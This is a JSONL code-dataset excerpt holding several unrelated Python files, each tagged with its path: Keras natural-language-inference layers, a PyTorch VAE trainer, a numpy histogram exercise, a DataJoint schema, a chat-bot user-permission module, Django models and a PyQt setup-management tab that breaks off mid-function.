softmax_output\n\n\nclass AnswerOptionSoftmax(Layer):\n '''\n This layer accepts a tensor of scores of shape (batch_size, num_options, 1), and calculates the softmax\n of those scores over num_options. The reason we have a final dimension of length 1 is because the input\n is expected to be the output of a TimeDistributed scoring layer. See MultipleChoiceEntailmentModel.classify().\n This could have been a lambda layer, except that we need to accept masked input, which Lambda doesn't.\n '''\n def __init__(self, **kwargs):\n self.supports_masking = True\n super(AnswerOptionSoftmax, self).__init__(**kwargs)\n\n def compute_mask(self, inputs, mask=None):\n # pylint: disable=unused-argument\n # We do not need a mask beyond this layer.\n return None\n\n def get_output_shape_for(self, input_shape):\n return (input_shape[0], input_shape[1])\n\n def call(self, x, mask=None):\n # input shape: (batch_size, num_options, 1)\n squeezed_x = K.squeeze(x, axis=2) # (batch_size, num_options)\n return masked_softmax(squeezed_x, mask)\n\n\nclass MultipleChoiceEntailmentModel:\n \"\"\"\n This entailment model assumes that we merge the three inputs in some way at the beginning into\n a single vector, then pass that vector through an MLP, once for each of the multiple choices,\n then have a final softmax over answer options.\n \"\"\"\n def __init__(self, params: Dict[str, Any]):\n self.num_hidden_layers = params.pop('num_hidden_layers', 1)\n self.hidden_layer_width = params.pop('hidden_layer_width', 50)\n self.hidden_layer_activation = params.pop('hidden_layer_activation', 'relu')\n\n self.hidden_layers = None\n self.score_layer = None\n self._init_layers()\n\n def _init_layers(self):\n self.hidden_layers = []\n for i in range(self.num_hidden_layers):\n self.hidden_layers.append(Dense(output_dim=self.hidden_layer_width,\n activation=self.hidden_layer_activation,\n name='entailment_hidden_layer_%d' % i))\n self.score_layer = Dense(output_dim=1, activation='sigmoid')\n\n def classify(self, combined_input):\n \"\"\"\n Here we take the combined entailment input for each option, decide whether it is true or\n false, then do a final softmax over the true/false scores for each option.\n\n The combined input has shape (batch_size, num_options, combined_input_dim).\n \"\"\"\n # pylint: disable=redefined-variable-type\n hidden_input = combined_input\n for layer in self.hidden_layers:\n hidden_input = TimeDistributed(layer, name=layer.name)(hidden_input)\n\n # (batch_size, num_options, 1)\n scores = TimeDistributed(self.score_layer, name='entailment_scorer')(hidden_input)\n\n # This layer has no parameters, so it doesn't need to go into self._init_layers().\n softmax_layer = AnswerOptionSoftmax(name='answer_option_softmax')\n softmax_output = softmax_layer(scores)\n return softmax_output\n\n\nclass DecomposableAttentionEntailment(Layer):\n '''\n This layer is a reimplementation of the entailment algorithm described in the following paper:\n \"A Decomposable Attention Model for Natural Language Inference\", Parikh et al., 2016.\n The algorithm has three main steps:\n\n 1) Attend: Compute dot products between all pairs of projections of words in the hypothesis and\n the premise, normalize those dot products to use them to align each word in premise to a\n phrase in the hypothesis and vice-versa. These alignments are then used to summarize the\n aligned phrase in the other sentence as a weighted sum. The initial word projections are\n computed using a feed forward NN, F.\n 2) Compare: Pass a concatenation of each word in the premise and the summary of its aligned\n phrase in the hypothesis through a feed forward NN, G, to get a projected comparison. Do the\n same with the hypothesis and the aligned phrase from the premise.\n 3) Aggregate: Sum over the comparisons to get a single vector each for premise-hypothesis\n comparison, and hypothesis-premise comparison. Pass them through a third feed forward NN (H),\n to get the entailment decision.\n\n At this point this doesn't quite fit into the memory network setup because the model doesn't\n operate on the encoded sentence representations, but instead consumes the word level\n representations.\n TODO(pradeep): Make this work with the memory network eventually.\n TODO(pradeep): Split this layer into multiple layers to make parts of it reusable with memory\n network.\n '''\n def __init__(self, params: Dict[str, Any]):\n self.num_hidden_layers = params.pop('num_hidden_layers', 1)\n self.hidden_layer_width = params.pop('hidden_layer_width', 50)\n self.hidden_layer_activation = params.pop('hidden_layer_activation', 'relu')\n self.final_activation = params.pop('final_activation', 'softmax')\n self.init = initializations.get(params.pop('init', 'uniform'))\n self.supports_masking = True\n # Making the name end with 'softmax' to let debug handle this layer's output correctly.\n params['name'] = 'decomposable_attention_softmax'\n # Weights will be initialized in the build method.\n self.attend_weights = [] # weights related to F\n self.compare_weights = [] # weights related to G\n self.aggregate_weights = [] # weights related to H\n self.scorer = None\n self.input_dim = None\n self.premise_length = None\n self.hypothesis_length = None\n self.output_dim = 2 if self.final_activation == 'softmax' else 1\n super(DecomposableAttentionEntailment, self).__init__(**params)\n\n def build(self, input_shape):\n '''\n This model has three feed forward NNs (F, G and H in the paper). We assume that all three\n NNs have the same hyper-parameters: num_hidden_layers, hidden_layer_width and\n hidden_layer_activation. That is, F, G and H have the same structure and activations. Their\n actual weights are different, though. H has a separate softmax layer at the end.\n '''\n super(DecomposableAttentionEntailment, self).build(input_shape)\n if isinstance(input_shape, list):\n # input_shape is a list containing the shapes of the two inputs.\n self.premise_length = input_shape[0][1]\n self.hypothesis_length = input_shape[1][1]\n # input_dim below is embedding dim for the model in the paper since they feed embedded\n # input directly into this layer.\n self.input_dim = input_shape[0][-1]\n else:\n # NOTE: This will probably fail silently later on in this code if your premise and\n # hypothesis actually have different lengths.\n self.premise_length = self.hypothesis_length = int(input_shape[1] / 2)\n self.input_dim = input_shape[-1]\n attend_input_dim = self.input_dim\n compare_input_dim = 2 * self.input_dim\n aggregate_input_dim = self.hidden_layer_width * 2\n for i in range(self.num_hidden_layers):\n self.attend_weights.append(self.init((attend_input_dim, self.hidden_layer_width),\n name='%s_attend_%d' % (self.name, i)))\n self.compare_weights.append(self.init((compare_input_dim, self.hidden_layer_width),\n name='%s_compare_%d' % (self.name, i)))\n self.aggregate_weights.append(self.init((aggregate_input_dim, self.hidden_layer_width),\n name='%s_aggregate_%d' % (self.name, i)))\n attend_input_dim = self.hidden_layer_width\n compare_input_dim = self.hidden_layer_width\n aggregate_input_dim = self.hidden_layer_width\n self.trainable_weights = self.attend_weights + self.compare_weights + self.aggregate_weights\n self.scorer = self.init((self.hidden_layer_width, self.output_dim), name='%s_score' % self.name)\n self.trainable_weights.append(self.scorer)\n\n def compute_mask(self, x, mask=None):\n # pylint: disable=unused-argument\n return None\n\n def get_output_shape_for(self, input_shape):\n # (batch_size, 2)\n if isinstance(input_shape, list):\n return (input_shape[0][0], self.output_dim)\n else:\n return (input_shape[0], self.output_dim)\n\n @staticmethod\n def _apply_feed_forward(input_tensor, weights, activation):\n current_tensor = input_tensor\n for weight in weights:\n current_tensor = activation(K.dot(current_tensor, weight))\n return current_tensor\n\n @staticmethod\n def _last_dim_flatten(input_tensor):\n '''\n Takes a tensor and returns a matrix while preserving only the last dimension from the input.\n '''\n input_ndim = K.ndim(input_tensor)\n shuffle_pattern = (input_ndim - 1,) + tuple(range(input_ndim - 1))\n dim_shuffled_input = K.permute_dimensions(input_tensor, shuffle_pattern)\n return K.transpose(K.batch_flatten(dim_shuffled_input))\n\n def call(self, x, mask=None):\n # premise_length = hypothesis_length in the following lines, but the names are kept separate to keep\n # track of the axes being normalized.\n if isinstance(x, list) or isinstance(x, tuple):\n premise_embedding, hypothesis_embedding = x\n # (batch_size, premise_length), (batch_size, hypothesis_length)\n premise_mask, hypothesis_mask = mask\n else:\n premise_embedding = x[:, :self.premise_length, :]\n hypothesis_embedding = x[:, self.premise_length:, :]\n # (batch_size, premise_length), (batch_size, hypothesis_length)\n premise_mask = None if mask is None else mask[:, :self.premise_length]\n hypothesis_mask = None if mask is None else mask[:, self.premise_length:]\n if premise_mask is not None:\n premise_embedding = switch(K.expand_dims(premise_mask), premise_embedding,\n K.zeros_like(premise_embedding))\n if hypothesis_mask is not None:\n hypothesis_embedding = switch(K.expand_dims(hypothesis_mask), hypothesis_embedding,\n K.zeros_like(hypothesis_embedding))\n activation = activations.get(self.hidden_layer_activation)\n # (batch_size, premise_length, hidden_dim)\n projected_premise = self._apply_feed_forward(premise_embedding, self.attend_weights, activation)\n # (batch_size, hypothesis_length, hidden_dim)\n projected_hypothesis = self._apply_feed_forward(hypothesis_embedding, self.attend_weights, activation)\n # (batch_size, premise_length, hypothesis_length)\n unnormalized_attention = K.batch_dot(projected_premise, projected_hypothesis, axes=(2, 2))\n p2h_shape = K.shape(unnormalized_attention)\n\n ## Step 1: Attend\n # (batch_size, hypothesis_length, premise_length)\n reshaped_attention = K.permute_dimensions(unnormalized_attention, (0, 2, 1))\n h2p_shape = K.shape(reshaped_attention)\n flattened_unnormalized_attention = self._last_dim_flatten(unnormalized_attention)\n flattened_reshaped_attention = self._last_dim_flatten(reshaped_attention)\n if premise_mask is None and hypothesis_mask is None:\n # (batch_size * premise_length, hypothesis_length)\n flattened_p2h_attention = K.softmax(flattened_unnormalized_attention)\n # (batch_size * hypothesis_length, premise_length)\n flattened_h2p_attention = K.softmax(flattened_reshaped_attention)\n elif premise_mask is not None and hypothesis_mask is not None:\n # We have to compute alignment masks. All those elements that correspond to a masked word in\n # either the premise or the hypothesis need to be masked.\n # The two * operations below are essentially performing batched outer products. That is, the\n # element-wise multiplications are between inputs of shape (batch_size, 1, l_a) and\n # (batch_size, l_b, 1) to get an output of shape (batch_size, l_b, l_a).\n # Casting masks to float since we TF would complain if we multiplied bools.\n float_premise_mask = K.cast(premise_mask, 'float32')\n float_hypothesis_mask = K.cast(hypothesis_mask, 'float32')\n # (batch_size * premise_length, hypothesis_length)\n p2h_mask = self._last_dim_flatten(K.expand_dims(float_premise_mask, dim=-1) *\n K.expand_dims(float_hypothesis_mask, dim=1))\n # (batch_size * hypothesis_length, premise_length)\n h2p_mask = self._last_dim_flatten(K.expand_dims(float_premise_mask, dim=1) *\n K.expand_dims(float_hypothesis_mask, dim=-1))\n flattened_p2h_attention = masked_softmax(flattened_unnormalized_attention, p2h_mask)\n flattened_h2p_attention = masked_softmax(flattened_reshaped_attention, h2p_mask)\n else:\n # One of the two inputs is masked, and the other isn't. How did this happen??\n raise NotImplementedError('Cannot handle only one of the inputs being masked.')\n # (batch_size, premise_length, hypothesis_length)\n p2h_attention = K.reshape(flattened_p2h_attention, p2h_shape)\n # (batch_size, hypothesis_length, premise_length)\n h2p_attention = K.reshape(flattened_h2p_attention, h2p_shape)\n\n # We have to explicitly tile tensors below because TF does not broadcast values while performing *.\n # (batch_size, premise_length, hypothesis_length, embed_dim)\n tiled_p2h_attention = K.dot(K.expand_dims(p2h_attention), K.ones((1, self.input_dim)))\n # (batch_size, hypothesis_length, premise_length, embed_dim)\n tiled_h2p_attention = K.dot(K.expand_dims(h2p_attention), K.ones((1, self.input_dim)))\n # (batch_size, premise_length, hypothesis_length, embed_dim)\n tiled_hypothesis_embedding = K.permute_dimensions(K.dot(K.expand_dims(hypothesis_embedding),\n K.ones((1, self.premise_length))), (0, 3, 1, 2))\n # (batch_size, hypothesis_length, premise_length, embed_dim)\n tiled_premise_embedding = K.permute_dimensions(K.dot(K.expand_dims(premise_embedding),\n K.ones((1, self.hypothesis_length))), (0, 3, 1, 2))\n\n # beta in the paper (equation 2)\n # sum((batch_size, premise_length, hyp_length, embed_dim), axis=2) = (batch_size, premise_length, emb_dim)\n p2h_alignments = K.sum(tiled_p2h_attention * tiled_hypothesis_embedding, axis=2)\n # alpha in the paper (equation 2)\n # sum((batch_size, hyp_length, premise_length, embed_dim), axis=2) = (batch_size, hyp_length, emb_dim)\n h2p_alignments = K.sum(tiled_h2p_attention * tiled_premise_embedding, axis=2)\n\n ## Step 2: Compare\n # Concatenate premise embedding and its alignments with hypothesis\n premise_comparison_input = K.concatenate([premise_embedding, p2h_alignments])\n hypothesis_comparison_input = K.concatenate([hypothesis_embedding, h2p_alignments])\n # Equation 3 in the paper.\n compared_premise = self._apply_feed_forward(premise_comparison_input, self.compare_weights, activation)\n compared_hypothesis = self._apply_feed_forward(hypothesis_comparison_input, self.compare_weights,\n activation)\n\n ## Step 3: Aggregate\n # Equations 4 and 5.\n # (batch_size, hidden_dim * 2)\n aggregated_input = K.concatenate([K.sum(compared_premise, axis=1), K.sum(compared_hypothesis, axis=1)])\n # (batch_size, hidden_dim)\n input_to_scorer = self._apply_feed_forward(aggregated_input, self.aggregate_weights, activation)\n # (batch_size, 2)\n final_activation = activations.get(self.final_activation)\n scores = final_activation(K.dot(input_to_scorer, self.scorer))\n return scores\n\n\ndef split_combiner_inputs(x, encoding_dim: int): # pylint: disable=invalid-name\n sentence_encoding = x[:, :encoding_dim]\n current_memory = x[:, encoding_dim:2*encoding_dim]\n attended_knowledge = x[:, 2*encoding_dim:]\n return sentence_encoding, current_memory, attended_knowledge\n\n\nclass MemoryOnlyCombiner(Layer):\n \"\"\"\n This \"combiner\" just selects the current memory and returns it.\n \"\"\"\n def __init__(self, encoding_dim, name=\"entailment_combiner\", **kwargs):\n super(MemoryOnlyCombiner, self).__init__(name=name, **kwargs)\n self.encoding_dim = encoding_dim\n\n def call(self, x, mask=None):\n _, current_memory, _ = split_combiner_inputs(x, self.encoding_dim)\n return current_memory\n\n def get_output_shape_for(self, input_shape):\n return (input_shape[0], self.encoding_dim)\n\n def get_config(self):\n base_config = super(MemoryOnlyCombiner, self).get_config()\n config = {'encoding_dim': self.encoding_dim}\n config.update(base_config)\n return config\n\n\nclass HeuristicMatchingCombiner(Layer):\n \"\"\"\n This class is an implementation of the heuristic matching algorithm proposed in the following paper:\n \"Natural Language Inference by Tree-Based Convolution and Heuristic Matching\", Mou et al, ACL 2016.\n \"\"\"\n def __init__(self, encoding_dim, name=\"entailment_combiner\", **kwargs):\n super(HeuristicMatchingCombiner, self).__init__(name=name, **kwargs)\n self.encoding_dim = encoding_dim\n\n def call(self, x, mask=None):\n sentence_encoding, current_memory, _ = split_combiner_inputs(x, self.encoding_dim)\n sentence_memory_product = sentence_encoding * current_memory\n sentence_memory_diff = sentence_encoding - current_memory\n return K.concatenate([sentence_encoding,\n current_memory,\n sentence_memory_product,\n sentence_memory_diff])\n\n def get_output_shape_for(self, input_shape):\n # There are four components we've concatenated above: (1) the sentence encoding, (2) the\n # current memory, (3) the elementwise product of these two, and (4) their difference. Each\n # of these has dimension `self.encoding_dim`.\n return (input_shape[0], self.encoding_dim * 4)\n\n def get_config(self):\n base_config = super(HeuristicMatchingCombiner, self).get_config()\n config = {'encoding_dim': self.encoding_dim}\n config.update(base_config)\n return config\n\n\nentailment_models = { # pylint: disable=invalid-name\n 'true_false_mlp': TrueFalseEntailmentModel,\n 'multiple_choice_mlp': MultipleChoiceEntailmentModel,\n 'question_answer_mlp': QuestionAnswerEntailmentModel,\n 'decomposable_attention': DecomposableAttentionEntailment,\n }\n\nentailment_input_combiners = { # pylint: disable=invalid-name\n 'memory_only': MemoryOnlyCombiner,\n 'heuristic_matching': HeuristicMatchingCombiner,\n }\n","sub_path":"src/main/python/deep_qa/layers/entailment_models.py","file_name":"entailment_models.py","file_ext":"py","file_size_in_byte":26816,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"478381076","text":"import os.path\nimport torch\nfrom torch import optim\nfrom torch.autograd import Variable\nfrom torch.utils.data import DataLoader\nfrom tqdm import tqdm\nfrom data import DATASETS\n\n\nMODEL_PATH = 'models'\n\n\ndef get_data_loader(config):\n return DataLoader(\n DATASETS[config.dataset],\n batch_size=config.batch_size, shuffle=True,\n **({'num_workers': 1, 'pin_memory': True} if config.cuda else {})\n )\n\n\ndef train_model(model, config):\n # prepare optimizer and model\n model.train()\n optimizer = optim.SGD(\n model.parameters(),\n lr=config.lr, momentum=config.momentum\n )\n\n for epoch in range(1, config.epoch + 1):\n train_loss = 0\n data_loader = get_data_loader(config)\n stream = tqdm(enumerate(data_loader))\n\n for batch_index, (data, _) in stream:\n # prepare data on gpu if needed\n data = Variable(data).cuda() if config.cuda else Variable(data)\n\n # flush gradients and run the model forward\n optimizer.zero_grad()\n x_reconstructed, loss = model(data)\n\n # accumulate train loss\n train_loss += loss.data[0]\n\n # backprop gradients from the loss\n loss.backward()\n optimizer.step()\n\n # update progress\n stream.set_description((\n 'epoch: {epoch} | '\n 'progress: [{trained}/{dataset}] ({progress:.0f}%) | '\n 'loss: {loss}'\n ).format(\n epoch=epoch,\n trained=batch_index * len(data),\n dataset=len(data_loader.dataset),\n progress=(100. * batch_index / len(data_loader)),\n loss=(loss.data[0] / len(data))\n ))\n\n # save the trained model\n path = os.path.join(MODEL_PATH, model.name)\n print('saving model to the path {}'.format(path))\n torch.save(model.state_dict(), path)\n","sub_path":"Representation-Learning-and-Density-Estimation/VAE/VAE/pytorch/train.py","file_name":"train.py","file_ext":"py","file_size_in_byte":1920,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"580129736","text":"from random import *\r\n# 1)\r\n\r\ngraine = 10\r\n\r\nseed(graine)\r\n\r\n# 2)\r\n\r\nimport numpy as np\r\n\r\narr = np.random.randn(500)\r\n\r\n# 3)\r\n\r\nalpha=15\r\nmuu=100\r\n\r\narr=arr*alpha+muu\r\n\r\n# 4-7)\r\n\r\nimport matplotlib.pyplot as plt\r\n\r\n\r\nbins=plt.hist(arr,50)\r\nplt.ylabel(\"Probabilité de densité\")\r\nplt.xlabel(\"Quotient intellectuel\")\r\nplt.grid(True)\r\nplt.show()\r\n\r\nprint(bins[0])\r\n\r\n# 8)\r\n\r\nimport math\r\ny = ( 1 / (alpha * math.sqrt(2*math.pi)) ) * np.exp( (-1/2)*( (bins[0]-muu)/alpha )**2 )\r\n\r\nplt.plot(bins[0],y,'--')\r\nplt.title(\"Histogramme de la répartition du QI : alpha = 100; muu = 15\")\r\nplt.show()\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n","sub_path":"TP2/exo3_1.py","file_name":"exo3_1.py","file_ext":"py","file_size_in_byte":626,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"352258390","text":"import datajoint as dj\nimport os\n\nmode = os.environ.get('MODE')\n\nif mode == 'update':\n schema = dj.schema('ibl_action')\nelse:\n schema = dj.schema(dj.config.get('database.prefix', '') + 'ibl_action')\n\n\n@schema\nclass ProcedureType(dj.Manual):\n definition = \"\"\"\n procedure_type_name: varchar(255)\n ---\n procedure_type_uuid: uuid\n procedure_type_description=null: varchar(1024)\n proceduretype_ts=CURRENT_TIMESTAMP: timestamp\n \"\"\"\n","sub_path":"ibl_pipeline/action_shared.py","file_name":"action_shared.py","file_ext":"py","file_size_in_byte":486,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"471979062","text":"\"\"\"This is a security module for.\"\"\"\n\nimport datetime\nimport os\nimport json\n\nUSER_RECORDS_FILE = os.getenv(\"HOME\") + \"/eris/cfg/users.json\"\nREPORT_FILE = os.getenv(\"HOME\") + \"/eris/cfg/reports.txt\"\n\n\nclass PermError(Exception):\n \"\"\"This is an exception for reporting when people fail to have the proper perms.\"\"\"\n\n def __init__(self, id_num, username, command, message):\n Exception.__init__(self)\n self.message = message\n reports = open(REPORT_FILE, \"a+\")\n reports.write(\n \"time:{0} id_num:{1} username: {2} cmd:{3}\\n\".format(\n datetime.datetime(), id_num, username, command\n )\n )\n\n\nclass User:\n \"\"\"This stores individual users in the system.\"\"\"\n\n def __init__(self, id_num, username, whitelist):\n self.id_num = id_num\n self.username = username\n self.whitelist = whitelist\n self.requests = 0\n\n\n# This is the default user\n\n\nclass Users:\n \"\"\"A class for validating users and storing user info.\"\"\"\n\n default_whitelist = [\"man\", \"book\", \"run\", \"insult\"]\n default_user = User(0, \"default\", default_whitelist)\n\n def __init__(self):\n self.list = {}\n self.load_users()\n\n def user_has_perms(self, id_num, action):\n \"\"\"This checks if the user has permissions.\"\"\"\n has_perms = False\n if id_num in self.list:\n user = self.list[id_num]\n else:\n user = self.default_user\n if action in user.whitelist:\n has_perms = True\n else:\n has_perms = False\n return has_perms\n\n def add_user(self, user_id, username):\n \"\"\"Adds user account to users list.\"\"\"\n self.list[user_id] = User(user_id, username, self.default_whitelist)\n self.update_users()\n\n def del_user(self, user_id):\n \"\"\"Removes a user account from the users list.\"\"\"\n del self.list[user_id]\n self.update_users()\n\n def add_perm(self, user_id, perm):\n \"\"\"Updates the perms of a given user\"\"\"\n user = self.list[user_id]\n user.whitelist.append(perm)\n self.update_users()\n\n def del_perm(self, user_id, perm):\n \"\"\"Updates the perms of a given user\"\"\"\n user = self.list[user_id]\n user.whitelist.remove(perm)\n self.update_users()\n\n def update_users(self):\n \"\"\"This updates the users file.\"\"\"\n user_records = []\n for user_tuple in self.list.items():\n user = user_tuple[1]\n user_records.append(\n {\n \"id_num\": user.id_num,\n \"username\": user.username,\n \"whitelist\": user.whitelist,\n }\n )\n user_records_file = open(USER_RECORDS_FILE, \"w\")\n json.dump(user_records, user_records_file)\n\n def load_users(self):\n \"\"\"This gets a list of users from the users file.\"\"\"\n try:\n user_records_file = open(USER_RECORDS_FILE, \"r\")\n user_records_json = json.loads(user_records_file.read())\n user_records_file.close()\n for user_record in user_records_json:\n record_id = user_record[\"id_num\"]\n record_name = user_record[\"username\"]\n record_whitelist = user_record[\"whitelist\"]\n self.list[record_id] = User(record_id, record_name, record_whitelist)\n except FileNotFoundError:\n print(\"error, users file not found\")\n","sub_path":"src/security.py","file_name":"security.py","file_ext":"py","file_size_in_byte":3460,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"31343001","text":"numbers = list()\ntotal = 0\n\n#iterate through numbers 1-1000\nfor candidate in range(1, 1000):\n if candidate % 5 == 0 or candidate % 3 == 0: #determine if candidate number is divisible by 5 or 3\n numbers.append(candidate) #if true, add it to the list of matches\n\n#iterate through the list of matches\nfor number in numbers:\n total += number\n\nprint(total)","sub_path":"1.py","file_name":"1.py","file_ext":"py","file_size_in_byte":364,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"143347661","text":"from ckeditor_uploader.fields import RichTextUploadingField\nfrom django.contrib.auth.models import User\nfrom django.db import models\nfrom django.utils.html import format_html\nfrom sorl.thumbnail import get_thumbnail\nfrom sorl.thumbnail.fields import ImageField\n\n\nclass City(models.Model):\n \"\"\"\n Модел городов\n \"\"\"\n class Meta:\n verbose_name = 'Город'\n verbose_name_plural = 'Города'\n\n name = models.CharField('Название города', max_length=255, unique=True)\n logotype = ImageField(verbose_name='логотип', blank=True, null=True, max_length=255)\n\n def logotype_preview(self):\n if self.logotype:\n img = get_thumbnail(self.logotype, '75x75', crop='center')\n return format_html('',\n self.logotype.url, img.url)\n else:\n return 'Нет изображения'\n\n logotype_preview.short_description = 'Логотип'\n\n def __str__(self):\n return self.name\n\n\nclass Institution(models.Model):\n \"\"\"\n Модел учебных заведений\n \"\"\"\n class Meta:\n verbose_name = 'Учебное заведение'\n verbose_name_plural = 'Учебные заведения'\n unique_together = (\"name\", \"city\")\n\n\n name = models.CharField('Название учебного заведения', max_length=255)\n city = models.ForeignKey(City, verbose_name='Город', on_delete=models.SET_NULL)\n logotype = ImageField(verbose_name='Логотип', blank=True, null=True, max_length=255)\n\n def logotype_preview(self):\n if self.logotype:\n img = get_thumbnail(self.logotype, '75x75', crop='center')\n return format_html('',\n self.logotype.url, img.url)\n else:\n return 'Нет изображения'\n\n logotype_preview.short_description = 'Логотип'\n\n def __str__(self):\n return '%s - %s' % (self.name, self.city)\n\n\nclass Sno(models.Model):\n \"\"\"\n Модел СНО\n \"\"\"\n class Meta:\n verbose_name = 'СНО'\n verbose_name_plural = 'СНО'\n\n short_name = models.CharField('Короткое название СНО', max_length=40, help_text='до 40 символов. Более длинное название вы можете указать в личном кабинете')\n long_name = models.CharField('Длинное название СНО', max_length=255, blank=True, null=True)\n institution = models.ForeignKey(Institution, verbose_name='Учебное заведение', null=True, blank=True, on_delete=models.SET_NULL)\n user = models.ForeignKey(User, verbose_name='Пользователь', on_delete=models.CASCADE)\n logotype = ImageField(verbose_name='Логотип', blank=True, null=True, max_length=255)\n menu_background = ImageField(verbose_name='Фоновое изображение для меню СНО', blank=True, null=True, max_length=255)\n description = RichTextUploadingField('Описание СНО', null=True, blank=True, config_name='text_table_img')\n\n def city(self):\n if self.institution:\n return self.institution.city.name\n else:\n return 'Не указанно учебное заведение'\n\n city.short_description = 'Город'\n\n def logotype_preview(self):\n if self.logotype:\n img = get_thumbnail(self.logotype, '75x75', crop='center')\n return format_html('',\n self.logotype.url, img.url)\n else:\n return 'Логотипа нет'\n\n logotype_preview.short_description = 'Логотип'\n\n def save(self, *args, **kwargs):\n if not self.long_name:\n self.long_name = self.short_name\n\n super(Sno, self).save(*args, **kwargs)\n\n def __str__(self):\n return '%s - (%s)' % (self.short_name, self.institution)","sub_path":"src/sno/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":4196,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"580209735","text":"# Filename : Palindrome.py\n# Date created : 24.01.2017\n# Date modified : 24.01.2017\n# Author : Brandon Yii Kuo Chong\n\n# Palindrome\nforward = list(input(\"Please enter a word to check if it is a Palindrome : \"))\nbackward = []\n\nfor forwardElement in reversed(forward):\n backward.append(forwardElement)\n\nif str(forward) == str(backward):\n print(str(forward) + \" is a palindrome.\")\nelse:\n print(str(forward) + \" is not a palindrome.\")\n","sub_path":"palindrome.py","file_name":"palindrome.py","file_ext":"py","file_size_in_byte":439,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"98942543","text":"from typing import List\n\nfrom pyqtgraph.Qt import QtGui\n\nfrom pycontrol_homecage.dialogs import are_you_sure_dialog, cage_summary_dialog, configure_box_dialog, direct_pyboard_dialog\nfrom pycontrol_homecage.tables import cageTable\nfrom pycontrol_homecage.utils import find_setups\nimport pycontrol_homecage.db as database\n\n\nclass setups_tab(QtGui.QWidget):\n\n def __init__(self, parent=None):\n\n super(QtGui.QWidget, self).__init__(parent)\n\n self.board = None\n self.configure_box_dialog = None\n\n # initialise each of the tab regions then bind them\n # to the overall layout\n self._init_add_setup()\n self._init_update_setup()\n self._init_setup_table()\n self._set_global_tab_layout()\n\n def _init_add_setup(self) -> None:\n\n self.CAT = QtGui.QGroupBox(\"Add Setup\") # the main container\n self.cat_layout = QtGui.QHBoxLayout() # main layout class\n\n # Name the setup you want to add\n self.setup_name_label = QtGui.QLabel('Setup Name:')\n self.setup_name = QtGui.QLineEdit()\n\n # press button to add setup\n self.add_cage_button = QtGui.QPushButton('Add setup')\n self.add_cage_button.clicked.connect(self.add_cage)\n\n self.cat_combo_box = QtGui.QComboBox() # select operant chamber pyboard\n self.cact_combo_box = QtGui.QComboBox() # select access control pyboard\n\n self._set_add_setup_layout()\n\n def _set_add_setup_layout(self) -> None:\n self.cat_layout.addWidget(self.setup_name_label)\n self.cat_layout.addWidget(self.setup_name)\n self.cat_layout.addWidget(self.cat_combo_box)\n self.cat_layout.addWidget(self.cact_combo_box)\n self.cat_layout.addWidget(self.add_cage_button)\n\n self.CAT.setLayout(self.cat_layout)\n\n def _init_update_setup(self) -> None:\n\n self.cage_manager_layout = QtGui.QHBoxLayout() # main layout container\n\n self.remove_cage_button = QtGui.QPushButton('Remove setup')\n self.remove_cage_button.clicked.connect(self.remove_cage)\n\n self.update_cage_button = QtGui.QPushButton('Update Connected setup')\n self.update_cage_button.clicked.connect(self.update_setup)\n\n self.check_beh_hardware_button = QtGui.QPushButton('Access task pyboard')\n self.check_beh_hardware_button.clicked.connect(self.access_selected_task_pyboard)\n\n self.cage_summary_button = QtGui.QPushButton('Get setup Summary')\n self.cage_summary_button.clicked.connect(self.get_summary)\n\n self._set_update_setup_layout()\n\n def _set_update_setup_layout(self) -> None:\n self.cage_manager_layout.addWidget(self.remove_cage_button)\n self.cage_manager_layout.addWidget(self.update_cage_button)\n self.cage_manager_layout.addWidget(self.check_beh_hardware_button)\n self.cage_manager_layout.addWidget(self.cage_summary_button)\n\n def _init_setup_table(self) -> None:\n\n # define container for the cageTable\n self.scrollable_cage = QtGui.QScrollArea()\n self.scrollable_cage.setWidgetResizable(True)\n self.scrollable_cage.horizontalScrollBar().setEnabled(False)\n\n self.cage_table_label = QtGui.QLabel()\n self.cage_table_label.setText(\"List of setups\")\n\n self.list_of_setups = cageTable(tab=self)\n self.scrollable_cage.setWidget(self.list_of_setups)\n\n def _set_global_tab_layout(self) -> None:\n self.Vlayout = QtGui.QVBoxLayout(self)\n self.Vlayout.addWidget(self.CAT, 1)\n\n self.Vlayout.addWidget(self.cage_table_label, 1)\n self.Vlayout.addLayout(self.cage_manager_layout, 1)\n\n self.Vlayout.addWidget(self.scrollable_cage, 15)\n\n def access_selected_task_pyboard(self) -> None:\n \"\"\" Open interface to pyboard in the operant chamber that allows you to run tasks\n behavioural tasks on the pyboard \"\"\"\n\n self._is_any_setup_connected()\n\n checked_setup_ix = self._is_single_setup_selected()\n\n if checked_setup_ix:\n setup_col = self.list_of_setups.header_names.index(\"Setup_ID\")\n checked_setup_id = self.list_of_setups.item(checked_setup_ix, setup_col).text()\n for k, G in database.controllers.items():\n if k == checked_setup_id:\n self.configure_box_dialog = direct_pyboard_dialog(k, self.GUI)\n self.configure_box_dialog.exec_()\n else:\n pass\n print('You must edit one setup at a time')\n\n def _is_single_setup_selected(self) -> List[int]:\n \"\"\"Determine how many setups are selected for updates, must be one\n \"\"\"\n\n isChecked = []\n for row in range(self.list_of_setups.rowCount()):\n isChecked.append(self.list_of_setups.item(row, self.list_of_setups.select_nr).checkState() == 2)\n\n return isChecked if sum(isChecked) == 1 else []\n\n def _is_any_setup_connected(self) -> None:\n \"\"\" Are any setups connected. Raises a flag if not setups are connected \"\"\"\n if len(database.controllers) == 0:\n boxM = QtGui.QMessageBox()\n boxM.setIcon(QtGui.QMessageBox.Information)\n boxM.setText(\"You must be connected to a setup to update it\")\n boxM.exec()\n\n def update_setup(self) -> None:\n\n isChecked = []\n\n for row in range(self.list_of_setups.rowCount()):\n 